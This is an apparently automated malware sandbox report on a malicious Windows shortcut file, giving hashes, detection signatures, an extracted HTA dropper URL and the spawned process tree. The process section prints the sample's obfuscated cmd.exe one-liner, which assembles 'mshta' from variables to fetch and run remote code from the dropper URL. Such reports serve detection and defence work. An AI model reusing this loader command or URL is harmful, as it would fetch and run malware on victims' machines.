Analysis
- max time kernel
148s - max time network
116s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
03/08/2026, 13:07
Static task
static1
Behavioral task
behavioral1
Sample
DOC-PGAEK8.lnk
Resource
win10v2004-20260513-en
4 signatures
150 seconds
Behavioral task
behavioral2
Sample
DOC-PGAEK8.lnk
Resource
win11ltsc2024-20260709-en
3 signatures
150 seconds
General
- Target DOC-PGAEK8.lnk
- Size 1KB
- Sample260803-qcmldsyfnf
- SHA256 14e409f9b8d94d1ad5810d26acde439121974399f24a76ff1616639f3a1dfb12
- MD5 d60a9e84c87397e5223b5b23420cb002
- SHA1 9f6beb4e6c7ecac6f290648423a79173dc5ed465
- SHA512 dc1fda48bf6834d4c37dcbf3c7147dced8776899c971f4a28a9ecefdcdc3021f5060ed778ec7b477ba0cf581e83192e27314c5daebbcd7007f7a76b47de18977
- TLSH T11C317B503FFD0A14F3F78E7784BB5B2089BBB9558E20C62E0141464C1432B14E17AF67
- MD5 SHA1 SHA512 TLSH
Score
10/10
Malware Config
Extracted
Language
-
hta
Source
URLs
-
hta.dropper
https://bo-pdffiler.lat/h/estagio1.php?r=360761F15794
Signatures
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 2692 cmd.exe 3368 cmd.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 2692 wrote to memory of 3368 2692 cmd.exe 90 PID 3368 wrote to memory of 4764 3368 cmd.exe 91
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\DOC-PGAEK8.lnk1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2692 -
C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /V:on /c "set Da=msh&&set BRdX=ta&&start "" !Da!!BRdX! https://bo-pdffiler.lat/h/estagio1.php?r=360761F15794"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3368 -
C:\Windows\System32\mshta.exemshta https://bo-pdffiler.lat/h/estagio1.php?r=360761F157943⤵PID:4764
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